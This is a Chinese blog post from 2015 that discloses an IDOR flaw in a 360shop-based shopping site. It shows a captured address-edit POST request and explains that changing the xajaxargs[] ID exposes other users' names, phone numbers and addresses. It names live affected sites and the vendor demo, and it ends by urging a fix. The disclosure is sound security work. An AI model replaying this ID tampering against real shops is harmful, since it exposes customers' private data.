首先感谢 极玩 网，没他们这个网扎我还发现不了这个漏洞。

就拿这个网站为例，进行演示。

1、打开，注册。

3

2、登录之后直接进个人设置 ，也就是 http://www.geewan.com/?mod=ucp&do=index 这个页面，然后点击收货地址。

4

3、这时打开 Fiddler ,设定好抓包。

2

4、然后，在收货地址那个地方随意添加一个地址。

5

5、添加完成之后，点击修改。这时我们会抓到这样一个请求。

POST http://www.geewan.com/?mod=ucp&do=address HTTP/1.1
Host: www.geewan.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Method: POST http://www.geewan.com/?mod=ucp&do=address HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.geewan.com/?mod=ucp&do=address
Content-Length: 60
Cookie: PHPSESSID=8b30c6ddc4a8f512fbc9f753c3a41987; geewan_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A4%3A%224313%22%3B%7D; geewan_sid=4ac484a949e9a8232dc46fef1826ca3e; geewan_validity_time=3600; CNZZDATA82660126=cnzz_eid%3D1373041620-1432684848-%26ntime%3D1432684848; cookie_uemail=glzjin%40zhaojin97.cn
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

xajax=block_my_address&xajaxr=1432688072839&xajaxargs[]=2488

这个请求就是请求修改地址界面的，我们看最后面的参数

xajaxargs[]=2488

这个数字，就是地址的ID。

6、那么，我们随意改改试试。

7

7、看到没，在右下角的结果框里别人的信息都出来了，姓名电话地址什么的。

8

8、再来两个其他的。

捕获 9

9、在他们的官网上的demo也有这两个漏洞，可以自己申请一个商城然后注册两个账号试试。

http://www.360shop.com.cn/install/index

10、来瞧瞧影响范围多么大。

101

11、随意进去一个。

11 121

 

 

快点修咯- –

2015年5月27日17:36:57更新：

这个接口也有同样的问题

13